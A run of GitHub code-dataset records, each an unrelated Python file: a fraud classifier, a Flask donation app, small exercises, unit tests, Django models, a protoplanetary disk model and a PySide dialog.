data.iloc[1967226:len(data.index)]\n\ndata_train['FlAgImpAye'].value_counts()\ndata_test['FlAgImpAye'].value_counts()\n\nQuanti_bis = ['MontAnt','VerifiAnceCPT2','D2CB','ScoringFP1','ScoringFP2','ScoringFP3','TAuxImpNB_CPM','EcArtNumCheq','NbrMAgAsin3J','CA3TRetMtt','CA3TR'] \nQuali_bis = ['ZIBZIN','IDAvisAutorisAtionCheque','DAteTrAnsAction','CodeDecision'] \n\nY_train = data_train[\"FlAgImpAye\"]\nY_test = data_test[\"FlAgImpAye\"]\nX_test = data_test[Quanti_bis]\nX_train = data_train[Quanti_bis]\n\n## Algoritmes supervisés - paramétrage\n\n\nClassifier = SGDClassifier(max_iter=10**7//len(X_train)+1) #Model instance, empirically result for max_iter with 10**6\nparams = {'alpha':[ 1e-3, 1e-4, 1e-5, 1e-6 ], 'penalty':['l1', 'l2'], 'loss':['hinge','log']} #Paramètres à tester\nclf = GridSearchCV(Classifier, param_grid=params, cv=5, n_jobs=6)\nclf.fit(X_train, Y_train)\n#predictions on train data\ny_predict=clf.predict(X_test)\n \n## Représentation des résultats\n\nprint(classification_report(Y_test, y_predict))\nconfusion_matrix(Y_test, y_predict)\n\n## Séparation train et test\n","repo_name":"andlg/Projet_BDM","sub_path":"ProjetBigData.py","file_name":"ProjetBigData.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9574018760","text":"from backend import app\nfrom flask import render_template, request\nfrom flask_cors import cross_origin\nfrom flask_login import login_required\nfrom ..help import unix_time, not_found_error, TinkoffCard\nfrom ..database import Donation, DonationsTable, ProjectsTable\nfrom ..config import Config\n'''\n get_status() Превращает Tinkoff-статус платежа в статус пожертвования.\n TEMPLATE Имя шаблона с регистрацией пожертвования.\n TEMPLATE_ALL Имя шаблона со списком пожертвований.\n /donate?id=<> donate() Регистрация пожертвования.\n /show_donations?id=<> show_donations() Показывает все пожертвования на проект.\n /update_donations?id=<> update_donations() Обновляет статусы пожертвований.\n'''\n\n\ndef get_status(status):\n if status in Config.PAID_STATES:\n return Donation.PAID\n elif status in Config.NOT_PAID_STATES:\n return Donation.NOT_PAID\n return None\n\n\nTEMPLATE, TEMPLATE_ALL = 'project.html', 'donations.html'\n\n\n@app.route(\"/donate\", methods=['POST'])\n@cross_origin()\ndef donate():\n try:\n pid = int(request.form['id'])\n project = ProjectsTable.select(pid)\n name = request.form['name']\n amount = int(request.form['amount'])\n other_info = request.form['other_info']\n if project.__is_none__:\n return not_found_error()\n if amount <= 0:\n raise ValueError\n except Exception:\n return render_template(TEMPLATE, error_donate='Поля заполнены не правильно')\n\n donation = Donation([None, pid, name, amount, other_info, Donation.REQUEST_SUBMITTED, -1, unix_time()])\n DonationsTable.insert(donation)\n donation = DonationsTable.select_last()\n desc = 'Проект: {} Жертвователь: {}'.format(project.name, donation.name)\n error, url, payment = TinkoffCard.receipt(donation.amount, donation.id, desc)\n if error != '0':\n donation.status = Donation.ERROR\n DonationsTable.update(donation)\n return render_template(TEMPLATE, project=project, error_donate='Ошибка :(')\n donation.payment = payment\n DonationsTable.update(donation)\n return render_template(TEMPLATE, error_donate='Пожертвование зарегистрировано', project=project, url=url)\n\n\n@app.route(\"/show_donations\")\n@cross_origin()\n@login_required\ndef show_donations():\n try:\n pid = int(request.args.get('id'))\n project = ProjectsTable.select(pid)\n if project.__is_none__:\n raise ValueError\n except Exception:\n return not_found_error()\n\n donations = DonationsTable.select_by_project(pid)\n return render_template(TEMPLATE_ALL, donations=donations, project=project)\n\n\n@app.route(\"/update_donations\")\n@cross_origin()\n@login_required\ndef update_donations():\n try:\n pid = int(request.args.get('id'))\n project = ProjectsTable.select(pid)\n if project.__is_none__:\n raise ValueError\n except Exception:\n return not_found_error()\n\n donations = DonationsTable.select_by_project(pid)\n updated = False\n for donation in donations:\n error, status = TinkoffCard.get_state(donation.payment)\n status = get_status(status)\n if status and status != donation.status:\n donation.status = status\n DonationsTable.update(donation)\n if donation.status == Donation.PAID:\n project.received += donation.amount\n updated = True\n if updated:\n ProjectsTable.update(project)\n return render_template(TEMPLATE_ALL, donations=donations, project=project)\n","repo_name":"slavashestakov2005/DonationsForProjects","sub_path":"backend/queries/donation_settings.py","file_name":"donation_settings.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29407380693","text":"from art import logo\n\nprint(logo)\n#Welcome to the secret auction program\nprint('Welcome to the secret auction program')\n\nbidder_list = []\n\nbidding_continue = True\n\nwhile bidding_continue:\n\n #What the name\n get_name = input(\"What is your name?: \")\n #What is your bid?\n get_bid = input(\"What is your bid?: \")\n\n def add_bidder(name, bid):\n bidder = {}\n bidder[\"name\"] = name\n bidder[\"amount\"] = bid\n bidder_list.append(bidder)\n\n #Add bidder to list\n add_bidder(get_name, get_bid)\n\n def get_max_bid(list):\n max_bid = list[0][\"amount\"]\n max_bidder_name = list[0][\"name\"]\n for bidder in range(len(list)):\n if list[bidder][\"amount\"] > max_bid:\n max_bid = list[bidder][\"amount\"]\n max_bidder_name = list[bidder][\"name\"]\n max_bid_info = [max_bidder_name, max_bid]\n return max_bid_info\n#Are there any other bidders? Yes or No\n any_other_bidder = input(\"Are there any bidder?: \")\n\n if any_other_bidder == \"no\":\n bidding_continue = False\n else:\n bidding_continue = True\n\n\n# If yes, ask name, ask bid\nwinner = get_max_bid(bidder_list)\n# If no, compare and get the highest bid\nprint(\"The Winner is {name} with a bid of ${bid_amount}\".format(name = winner[0], bid_amount = winner[1]))\n# ","repo_name":"anthonyphan94/BindBid","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31233570756","text":"import os\n\nprint(\"mappa neve:\")\nroot = input()\ndir = os.listdir(root)\nf = open(\"dirnames.txt\", mode=\"w\")\n\nfor x in dir:\n f.write(root + \"\\\\\"+x + \",\" +'\\n')\n print(root + \"\\\\\" +x)\nprint(\"mappanevek elmentve a getdirnames.txt-ben.\")\nf.close()\n\n","repo_name":"kvcsmate/Dir_paster","sub_path":"GetDirNames/getdirnames.py","file_name":"getdirnames.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15471260032","text":"\"\"\"Unittest for mergedict\n\n\"\"\"\n\nimport os\nimport sys\n\nfrom stags.mergedict import merge_recurse_inplace\nfrom stags.storage import ShelveStorage as Storage\nfrom unittest import TestCase, skip\n\nclass TestMergeRecurseInplace(TestCase):\n def test_simple(self):\n d1 = {'file1': {'1:2': {'refs': [1]}, '3:4': {'refs': [2, 3]}}}\n d2 = {'file1': {'1:2': {'refs': [2, 3]}, '5:6': {'refs': [4, 5]}}}\n\n merge_recurse_inplace(d1, d2)\n ds_expected = {'file1': {'1:2': {'refs': [1, 2, 3]},\n '3:4': {'refs': [2, 3]},\n '5:6': {'refs': [4, 5]}}}\n self.assertEqual(d1, ds_expected)\n\n def test_duplicate(self):\n d1 = {'file1': {'1:2': {'kind': 'FUNCTION_DECL', 'refs': [1]}, '3:4': {'refs': [2, 3]}}}\n d2 = {'file1': {'1:2': {'kind': 'FUNCTION_DECL', 'refs': [1]}, '3:4': {'refs': [2, 3]}}}\n merge_recurse_inplace(d1, d2)\n self.assertEqual(d1, d2)\n\nclass TestMergeRecurseInplaceWithShelveStorage(TestCase):\n def test_simple(self):\n d1 = {'file1': [1]}\n d2 = {'file1': [2]}\n\n filename = sys._getframe().f_code.co_name + '.db'\n p = Storage(filename, writeback=True)\n p.update(d1)\n\n merge_recurse_inplace(p, d2, Storage)\n p.sync()\n\n ds_expected = {'file1': [1, 2]}\n self.assertEqual(p, ds_expected)\n\n p.close()\n os.remove(filename)\n\n def test_recursive(self):\n d1 = {'file1': {'1:2': {'refs': [1]}, '3:4': {'refs': [2, 3]}}}\n d2 = {'file1': {'1:2': {'refs': [2, 3]}, '5:6': {'refs': [4, 5]}}}\n\n filename = sys._getframe().f_code.co_name + '.db'\n p = Storage(filename, writeback=True)\n p.update(d1)\n\n merge_recurse_inplace(p, d2, Storage)\n p.sync()\n\n ds_expected = {'file1': {'1:2': {'refs': [1, 2, 3]},\n '3:4': {'refs': [2, 3]},\n '5:6': {'refs': [4, 5]}}}\n self.assertEqual(p, ds_expected)\n\n p.close()\n os.remove(filename)\n","repo_name":"inlinechan/stags","sub_path":"tests/test_mergedict.py","file_name":"test_mergedict.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4023311448","text":"from django.db import models\nimport json\n\n\nclass SquareFootLayout(models.Model):\n rows = models.PositiveSmallIntegerField()\n cols = models.PositiveSmallIntegerField()\n fill = models.CharField(max_length=500, default='all')\n\n def __str__(self):\n return f'{self.rows} x {self.cols}, fill {self.fill}'\n\n def all_points(self):\n return [[row, col] for row in range(self.rows) for col in range(self.cols)]\n\n def set_fill(self, value):\n self.fill_rows = json.dumps(value)\n\n def get_fill(self):\n if self.fill == 'all':\n return self.all_points()\n else:\n return json.loads(self.fill)\n\n\nclass Plant(models.Model):\n name = models.CharField(max_length=100)\n name_plural = models.CharField(max_length=100)\n scientific_name = models.CharField(max_length=100)\n created_at = models.DateTimeField(auto_now_add=True)\n layouts = models.ManyToManyField(\n SquareFootLayout,\n related_name='plants',\n )\n good_neighbors = models.ManyToManyField('self', blank=True)\n bad_neighbors = models.ManyToManyField('self', blank=True)\n\n class Meta:\n ordering = ['name']\n\n def __str__(self):\n return self.name\n","repo_name":"phillipdupuis/garden-planner","sub_path":"garden_planner/backend/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"72651346507","text":"import pickle\r\nimport src\r\n\r\ndef test_init_checkpoint():\r\n src.main(FREQ=1)\r\n checkpoint = \"checkpoint_name.pkl\"\r\n with open(checkpoint, \"r\") as cp_file:\r\n cp = pickle.load(cp_file)\r\n\r\n start_gen = cp[\"generation\"]\r\n assert(start_gen) == 2\r\n\r\ndef test_ini_checkpoint():\r\n population, logbook = src.main(checkpoint=\"checkpoint_name.pkl\", FREQ=1)\r\n assert(logbook[-1]['gen']) == 2\r\n\r\n\r\nimport win32com.client as com\r\nimport Tkinter\r\nimport tkFileDialog\r\n\r\nTkinter.Tk().withdraw()\r\nin_path = tkFileDialog.askopenfilename()\r\npath = in_path.replace(\"/\", \"\\\\\")\r\n\r\nVissim = com.Dispatch('Vissim.Vissim')\r\nVissim.LoadNet(path)","repo_name":"nathan36/GA-Vissim-Model-Optimizer","sub_path":"GA - Vissim Model Optimization/test/test_evol.py","file_name":"test_evol.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34202303174","text":"# 내 풀이 148ms\n\nimport sys\ninput = sys.stdin.readline\n\ncnt = 0\nfor i in range(int(input())):\n \n words = input().strip() # 문자열로 받음 'AABB' \n stack = []\n \n for w in words: # 하나씩 꺼내서 stack 마지막 문자와 비교\n if len(stack) and stack[-1] == w:\n stack.pop() # 같으면 pop\n else:\n stack.append(w) # 다르면 append\n \n if not len(stack): # stack이 비었으면 좋은단어이므로 카운트\n cnt += 1\n\nprint(cnt)\n\n'''\n괄호 문제랑 동일했당\n'''","repo_name":"danidanicarrotcarrot/algorithm","sub_path":"solved.ac/스택/3986_좋은단어.py","file_name":"3986_좋은단어.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31189906507","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.integrate import quad\r\nfrom scipy.optimize import fsolve\r\nimport itertools\r\nimport math\r\nfrom scipy.optimize import fsolve\r\n\r\n\r\n\r\n#Natural constant\r\nGG = 6.67430e-8 # U# gravitational constant [dyn cm^2 g^-2]\r\nkb = 1.380649e-16 # Boltzmann constant defined [erg K^-1]\r\nhp = 6.62607015e-27 # Planck constant [erg s] defined\r\nclight = 2.99792458e10 # light speed [cm s^-1] defined \r\nNA = 6.02214076e23 # Avogadro constant defined \r\nmp = 1.672621898e-24 # proton mass [g]; not 1.0/NA anymore. \r\nss = 5.6703e-5 # Stefan-Boltzmann const [erg/cm^2/K^4/s]\r\n\r\n#Astronomical constant\r\nAU = 1.495978707e13 # Distance between Earth and Sun [cm] defined \r\npc = 3.085677581e18 # Parsec [ cm] \r\nms = 1.9884e33 # Sun mass [g] \r\nts = 5.777e3 # effective temperature of the sun [K] \r\nls = 3.828e33 # solar intensity [erg/s] defined by IAU \r\nrs = 6.96e10 # solar radius [cm] \r\n\r\n#Gas constant\r\nmu = 2.353 # Average molecular weight (H2 + He + metals)\r\n\r\n# grid parameters \r\nnr = 256 # Number of radial grids. \r\nntheta = 257 # Number of grids in elevation.\r\nnz = 256 # Number of elevation grids. \r\n\r\n#Stellar Parameter\r\nmstar = 2.4 * ms\r\nrstar = 6.4 * rs\r\ntstar = 9500\r\nlstar = 47* ls\r\n\r\n#Disk parameter\r\nT_rim= t_sublimation = 1500.0 # Temperature at which dust start to condense\r\nsigma0 = 2*10 **3 # Surface density at 1 AU Σ0 [g/cm^2] \r\nkp_stellar = 400.0 # Monochromatic opacity = 400cm^2 g^-1\r\n\r\nnu = 5.879 * (10 ** 10) * tstar #Wien law\r\nt_virial = GG * mstar * mu * mp / (kb * rstar) # Virial Temp\r\ngamma = 2.0\r\nbeta = -1.5\r\n\r\n#psi_i =np.array(list(itertools.repeat(1, nr)))\r\n#psi_s = np.array(list(itertools.repeat(1, nr)))\r\n\r\npsi_i = 1\r\npsi_s = 1\r\ndef Rim(vars):\r\n R_rim, h_rim, H_rim, X_rim,sigma_rim = vars\r\n\r\n #Define R_rim\r\n eqn1 = np.abs((lstar/(4*np.pi * T_rim**4 *ss))**0.5 * (1 + H_rim/R_rim)**0.5 - R_rim)\r\n #Define h_rim\r\n eqn2 =np.abs((kb*T_rim*R_rim**3/(mu*mp*GG*mstar))**0.5 - h_rim)\r\n #Define H_rim\r\n eqn3 =np.abs( X_rim * h_rim -H_rim)\r\n\r\n #Define X_rim\r\n #integral[H/h = X --- inf] of e^-x^2 dx =(Pi^0.5 /2)(1- erf(X_rim))\r\n # Tau(zo) = 8*sigma* kp_stellar* integral/(pi^0.5) \r\n eqn4 = np.abs((1-math.erf(X_rim))*(4*sigma_rim*kp_stellar) -1)\r\n #Define surface density\r\n eqn5 = np.abs(sigma0*(R_rim/AU)**beta -sigma_rim)\r\n return [eqn1, eqn2,eqn3,eqn4, eqn5]\r\n\r\n\r\nR_rim, h_rim, H_rim,X_rim, sigma_rim = fsolve(Rim, (0.52*AU, 0.1*AU,0.057*AU,5.3,6207))\r\n\r\n\r\n#Definig grid system in radial direction\r\nrin = 0.52 *AU # Sublimation radius # inner rim of disk. Density is assumed to\r\nrout = 0.2*AU\r\nri = np.linspace(rin,rout,nr+1) \r\nR = 0.5 * ( ri[0:nr] + ri[1:nr+1] ) # Take the in-\"between values\r\nR = np.array(R)\r\n\r\n#sigma[g/cm^2] \r\ndef Sigma(R):\r\n return sigma0 * (R/AU)**beta\r\n\r\nsigma_trial = Sigma(R)\r\nsigma_trial = np.array(sigma_trial)\r\n\r\n#def Disk(X_cg, impinge_angle, H_cg, h_cg, Ti, R, sigma, psi_i , psi_s):\r\ndef Disk(vars,R, sigma, psi_i , psi_s):\r\n X_cg, H_cg, h_cg, Ti,impinge_angle = vars\r\n #Define X_cg (Appendix A2)\r\n #Integral of exp(-z^2 /2H_cvg^2)dz = (pi/2)^0.5 x H_ccg (1- erf(1/2^2))\r\n #1 -erf(1/2^0.5) = 1- erf(X_cg/ 2^0.5) = 2 impingement_angle(X_cg)/ (sigma x Kp_stellar)\r\n eqn1 = np.abs(1-math.erf(X_cg/np.sqrt(2)) -2* impinge_angle/(sigma* kp_stellar))\r\n #Define H_cg\r\n eqn2 = np.abs(X_cg*h_cg -H_cg)\r\n #Define h_cg\r\n eqn3 = np.abs((Ti/t_virial)**0.5 * (R/rstar)**0.5 -h_cg/R)\r\n #Define Ti\r\n eqn4 = np.abs((impinge_angle*psi_s/psi_i)**0.25 * (rstar/R)**0.5 *tstar -Ti)\r\n #Define Impinge angle\r\n eqn5 = np.abs((0.4*rstar/R) +(gamma-1)*H_cg/R -impinge_angle)\r\n return [eqn1, eqn2,eqn3,eqn4, eqn5]\r\n\r\npsi_i, psi_s = [1,1]\r\nX_cg_trial = np.zeros(nr)\r\nimpinge_angle_trial = np.zeros(nr)\r\nH_cg_trial = np.zeros(nr)\r\nh_cg_trial = np.zeros(nr)\r\nTi_trial= np.zeros(nr)\r\nfor i,( r_i,s_i), in enumerate(zip(R,sigma_trial)):\r\n X_cg_trial[i], H_cg_trial[i], h_cg_trial[i], Ti_trial[i],impinge_angle_trial[i] =fsolve(Disk,(X_rim, 0.15, H_rim, h_rim, T_rim), args = (r_i, s_i, psi_i, psi_s))\r\n\r\n\r\n\r\nfig, ax = plt.subplots()\r\nax.plot(R/AU, H_cg_trial/h_cg_trial)\r\nax.set_xlabel(\"Radius\")\r\nax.set_ylabel(\"Surface_Heightttttttttt\")\r\nax.set_title(\"Surface_Height vs. Radius\")\r\nplt.show()\r\n\r\nfig, ax = plt.subplots()\r\nax.plot(R, Ti_trial)\r\nax.set_xlabel(\"Radius\")\r\nax.set_ylabel(\"Temperature\")\r\nax.set_title(\"Temperature vs. Radius\")\r\nplt.show() \r\n \r\n \r\n\r\n\"\"\" \r\n diff = np.abs(X_cg_trial[i] *h_cg_trial -H_cg_trial)\r\n print (\"Hi \", diff)\r\n\r\n while diff>0.0000000000001:\r\n X_guess = (X_rim, 0.15, H_rim, h_rim, T_rim)*np.random.uniform(0.0001,1)\r\n print(X_guess)\r\n X_cg_trial[i], H_cg_trial[i], h_cg_trial[i], Ti_trial[i],impinge_angle_trial[i] =fsolve(Disk,X_guess, args = (r_i, s_i, psi_i, psi_s))\r\n diff = np.abs(X_cg_trial[i] *h_cg_trial -H_cg_trial)\r\n #print(diff)\r\n\r\n\"\"\"\r\n \r\n \r\n \r\n \r\n\r\n#X_cg_trial, H_cg_trial, h_cg_trial, Ti_trial,impinge_angle_trial =fsolve(Disk,(X_rim, 0.15, H_rim, h_rim, T_rim), args = (R_rim, sigma_rim, psi_i, psi_s))\r\n#X_cg_trial2, H_cg_trial2, h_cg_trial2, Ti_trial2,impinge_angle_trial2 = fsolve(Disk,(X_cg_trial, H_cg_trial, h_cg_trial, Ti_trial,impinge_angle_trial ),args = (R_rim, sigma_rim, psi_i, psi_s))\r\n\r\n\r\ndef rim_point(R_iter, const):\r\n #const_Rrim = (lstar/(4*np.pi*T_rim**4 *ss))**0.5 *(1+ H_i/r_i)\r\n return np.abs(const - R_iter)\r\n\r\n#const_Rrim = (lstar/(4*np.pi*T_rim**4 *ss))**0.5 *(1+ H_i/r_i)\r\n#R_rim = fsolve(rim_point, 0.1*AU,const_Rrim)\r\n\r\ndef surface_density(const_sigma):\r\n return const_sigma\r\n\r\ndef chi_Rim(X_iter, sigma):\r\n return np.abs((4*sigma*kp_stellar)*(1-math.erf(X_iter))) -1\r\n\r\n#Solve for angle of Direct stellar radiation impinges onto the disk \r\ndef alpha_angle(alpha_iter, const):\r\n # const = (0.4*rstar + (gamma- 1)*H_i)(1/r_i)\r\n return np.abs(const - alpha_iter)\r\n\r\n#Solving for interior temperature with constant phi_i and phi_s\r\ndef temp_interior(T_iter, const):\r\n #const_temp = (a_i*p_s/2/p_i)**0.25 *(rstar/r_i)**0.5 *tstar\r\n return np.abs(const - T_iter)\r\n\r\ndef pressure_height(hcg_iter,const):\r\n #const_hcg = (T_i/t_virial)**0.5 * (r_i/rstar)**0.5*r_i\r\n return np.abs(const - hcg_iter)\r\n\r\ndef surface_height(Hcg_iter, const):\r\n #const_Hcg = X_i * h_i\r\n return np.abs(const - Hcg_iter)\r\n\r\n\r\ndef chi_disk(X_iter, const):\r\n #const_X = 2*a_i/kp_stellar/s_i\r\n #const_X = 2*a_i/kp_stellar/s_i\r\n\r\n return np.abs(1- math.erf(X_iter/(np.sqrt(2))) - const)\r\n\r\n\r\n\r\nR_rim =0.47*AU\r\n#Definig grid system in radial direction\r\nrin = R_rim # Sublimation radius # inner rim of disk. Density is assumed to be 0 inside [cm] \r\nrout = 100*AU\r\n#rout = 2.7 * (10 ** 2) * AU # Outer edge of disk. Density is set to 0 outside this [cm] \r\nri = np.linspace(rin,rout,nr+1) \r\nR = 0.5 * ( ri[0:nr] + ri[1:nr+1] ) # Take the in-\"between values\r\nR = np.array(R)\r\n\r\n\r\n\r\nX_cg = np.zeros(nr)\r\nimpinge_angle = np.zeros(nr)\r\nH_cg = np.zeros(nr)\r\nh_cg = np.zeros(nr)\r\nsigma = np.zeros(nr)\r\nTi = np.zeros(nr)\r\nabcd = np.zeros(nr)\r\n\r\npsi_i = 1\r\npsi_s = 1\r\n\r\nSimulation = 5\r\n#print(\"I am this value outside the boxk :\",X_cg_trial[0])\r\n\r\n\r\n#This doesnt update after 1st simulation\r\nfor z in range(Simulation):\r\n for i, (r_i, H_i, h_i, T_i,X_i, a_i, s_i) in enumerate(zip(R, H_cg_trial, h_cg_trial, Ti_trial, X_cg_trial,impinge_angle_trial, sigma_trial)):\r\n #print(i)\r\n #Simulation -=1\r\n #print(Simulation)\r\n #print(\"Hello\\n\\n\\n\\n\")\r\n #print(r_i, H_i, h_i, T_i,X_i, a_i, s_i )\r\n #print(\"Help\\n\\n\\n\\n\")\r\n const_alpha = (0.4*rstar + (gamma- 1)*H_i)*(1/r_i)\r\n #print(const_alpha)\r\n impinge_angle[i]= fsolve(alpha_angle,a_i *0.95 , args=const_alpha)\r\n #I have multiplied argument with 0.95 as it would be different from measured value\r\n #and potentially produce new answer that converges\r\n \r\n \r\n #print(impinge_angle)\r\n #print(\"Help1\\n\\n\")\r\n #print(1)\r\n const_temp = (a_i*psi_s/2/psi_i)**0.25 *(rstar/r_i)**0.5 *tstar\r\n #print(\"Const temperaureate is \",const_temp)\r\n print(T_i)\r\n Ti[i]= fsolve(temp_interior,T_i*0.95, args=const_temp)\r\n print(T_i, \"Afterrrrr\")\r\n #print(2)\r\n #print(\"Help2\\n\\n\")\r\n\r\n const_hcg = (T_i/t_virial)**0.5 * (r_i/rstar)**0.5 *r_i\r\n h_cg[i] = fsolve(pressure_height,h_i*0.95, args = const_hcg)\r\n #print(3)\r\n #print(\"Help3\\n\\n\")\r\n\r\n const_Hcg = X_i * h_i\r\n #const_X = 2*a_i/kp_stellar/ \r\n\r\n H_cg[i] = fsolve(surface_height,H_i*0.95, args =const_Hcg )\r\n #print(4)\r\n #print(\"Help4\\n\\n\\n\\n\")\r\n const_X = 2*a_i/kp_stellar/s_i\r\n X_cg[i] = fsolve(chi_disk, X_i*0.95, args = const_X)\r\n #print(\"Hiiiiiiiiiiiiiiiiiiiiiiiiii\")\r\n \r\n #print(\"Hello, I want to check this : \", X_cg_trial[0], X_cg[0])\r\n \r\n #I dont know why but this doesnt over lay is list\r\n X_cg_trial = X_cg.copy()\r\n #print(X_cg_trial[i])\r\n impinge_angle_trial= impinge_angle.copy()\r\n print(H_cg[0])\r\n H_cg_trial = H_cg.copy()\r\n print(H_cg_trial[0])\r\n\r\n h_cg_trial = h_cg.copy()\r\n Ti_trial = Ti.copy()\r\n #print(\"I am this hot: \",Ti_trial[0] )\r\n #print(H_cg_trial)\r\n #print(\"Hi I am over here\", z)\r\n# fig, ax = plt.subplots()\r\n# ax.plot(R, H_cg)\r\n# ax.set_xlabel(\"Radius\")\r\n# ax.set_ylabel(\"Surface_Height\")\r\n# ax.set_title(\"Surface_Height vs. Radius\")\r\n# plt.show()\r\n #print(H_cg_trial) \r\n#print(Ti_trial)+\r\n#print(\"NOooooooooooooooooooooooooooooo\")\r\n#print(Ti)\r\n \r\n\r\n \r\n\r\n\"\"\"\r\nfor i,( r_i,s_i), in enumerate(zip(R,sigma_trial)):\r\n X_cg[i], H_cg[i], h_cg[i], Ti[i],impinge_angle[i] =fsolve(Disk,(X_rim, 0.15, H_rim, h_rim, T_rim), args = (r_i, s_i, psi_i, psi_s))\r\n\r\n\r\n#This doesnt update after 1st simulation\r\nfor z in range(Simulation):\r\n for i, (r_i, H_i, h_i, T_i,X_i, a_i, s_i) in enumerate(zip(R, H_cg, h_cg, Ti, X_cg,impinge_angle, sigma)):\r\n #print(i)\r\n #Simulation -=1\r\n #print(Simulation)\r\n #print(\"Hello\\n\\n\\n\\n\")\r\n #print(r_i, H_i, h_i, T_i,X_i, a_i, s_i )\r\n #print(\"Help\\n\\n\\n\\n\")\r\n const_X = 2*a_i/kp_stellar/s_i\r\n X_cg[i] = fsolve(chi_disk, X_i*0.95, args = const_X)\r\n diff = np.abs(X_cg[i] - H_i/h_i)\r\n \r\n print(\"The difference is :\", diff)\r\n# \r\n# while diff>0.0000000000001:\r\n# X_cg[i] = fsolve(chi_disk, X_i*0.95, args = const_X)\r\n# diff = np.abs(X_cg[i] - H_i/h_i)\r\n# #print(diff)\r\n \r\n \r\n const_alpha = (0.4*rstar + (gamma- 1)*H_i)*(1/r_i)\r\n #print(const_alpha)\r\n impinge_angle[i]= fsolve(alpha_angle,a_i *0.95 , args=const_alpha)\r\n #I have multiplied argument with 0.95 as it would be different from measured value\r\n #and potentially produce new answer that converges\r\n \r\n \r\n #print(impinge_angle)\r\n #print(\"Help1\\n\\n\")\r\n #print(1)\r\n const_temp = (a_i*psi_s/2/psi_i)**0.25 *(rstar/r_i)**0.5 *tstar\r\n #print(\"Const temperaureate is \",const_temp)\r\n Ti[i]= fsolve(temp_interior,T_i*0.95, args=const_temp)\r\n #print(2)\r\n #print(\"Help2\\n\\n\")\r\n\r\n const_hcg = (T_i/t_virial)**0.5 * (r_i/rstar)**0.5 *r_i\r\n h_cg[i] = fsolve(pressure_height,h_i*0.95, args = const_hcg)\r\n #print(3)\r\n #print(\"Help3\\n\\n\")\r\n\r\n const_Hcg = X_i * h_i\r\n #const_X = 2*a_i/kp_stellar/ \r\n\r\n H_cg[i] = fsolve(surface_height,H_i*0.95, args =const_Hcg )\r\n #print(4)\r\n #print(\"Help4\\n\\n\\n\\n\")\r\n\r\n #print(\"Hiiiiiiiiiiiiiiiiiiiiiiiiii\")\r\n \r\n #print(\"Hello, I want to check this : \", X_cg_trial[0], X_cg[0])\r\n\r\n\"\"\"\r\nfig, ax = plt.subplots()\r\nax.plot(R/AU, H_cg/h_cg)\r\nax.set_xlabel(\"Radius\")\r\nax.set_ylabel(\"Surface_Heightttttttttt\")\r\nax.set_title(\"Surface_Height vs. Radius\")\r\nplt.show()\r\n\r\nfig, ax = plt.subplots()\r\nax.plot(R, Ti)\r\nax.set_xlabel(\"Radius\")\r\nax.set_ylabel(\"Temperature\")\r\nax.set_title(\"Temperature vs. Radius\")\r\nplt.show() \r\n \r\n \r\n ","repo_name":"AbinashDhakal/Structural_Effects_of_Metallicity_on_Circumstellar_Discs","sub_path":"Dullemond_Model/Dullemond_24_10_new_method.py","file_name":"Dullemond_24_10_new_method.py","file_ext":"py","file_size_in_byte":12165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34661574855","text":"# Given a sorted array of integers, find the starting and ending position of a given target value.\r\n# Your algorithm's runtime complexity must be in the order of O(log n).\r\n# If the target is not found in the array, return [-1, -1].\r\n# For example,\r\n# Given [5, 7, 7, 8, 8, 10] and target value 8,\r\n# return [3, 4].\r\n\r\n\r\ndef search_range(numbers, target):\r\n result = [-1, -1]\r\n if len(numbers) == 0:\r\n return result\r\n\r\n low = 0\r\n high = len(numbers) - 1\r\n\r\n while low <= high:\r\n mid = low + (high - low) // 2\r\n if numbers[mid] >= target:\r\n high = mid - 1\r\n else:\r\n low = mid + 1\r\n\r\n if low < len(numbers) and numbers[low] == target:\r\n result[0] = low\r\n else:\r\n return result\r\n\r\n high = len(numbers) - 1\r\n\r\n while low <= high:\r\n mid = low + (high - low) // 2\r\n if numbers[mid] <= target:\r\n low = mid + 1\r\n else:\r\n high = mid - 1\r\n\r\n result[1] = high\r\n\r\n return result\r\n\r\n\r\nif __name__ == '__main__':\r\n array = [5, 7, 7, 8, 8, 10]\r\n target = 8\r\n print('The range of', target, 'in array',\r\n array, 'is:', search_range(array, target))\r\n","repo_name":"lim1202/LeetCode","sub_path":"Array/search_for_a_range.py","file_name":"search_for_a_range.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40440200491","text":"# This Python file uses the following encoding: utf-8\r\nfrom PySide6 import QtCore\r\nfrom PySide6 import QtWidgets\r\nfrom PySide6.QtWidgets import QDialog\r\nfrom ui_dialog import Ui_Dialog\r\nfrom PySide6.QtCore import QObject, SignalInstance, Signal, Slot\r\nfrom PySide6.QtCore import QDate\r\nfrom PySide6.QtWidgets import QDateTimeEdit\r\nfrom PySide6.QtGui import QFont\r\n\r\n\r\nclass newDialog(QDialog):\r\n def __init__(self):\r\n QDialog.__init__(self)\r\n self.ui = Ui_Dialog()\r\n self.ui.setupUi(self)\r\n self.ui.dateEdit.setDate(QDate.currentDate())\r\n self.data = {}\r\n self.someone = Communicate()\r\n self.setFont(QFont(\":/fonts/Inter-Regular.otf\"))\r\n\r\n @Slot()\r\n def on_pushButton_clicked(self):\r\n 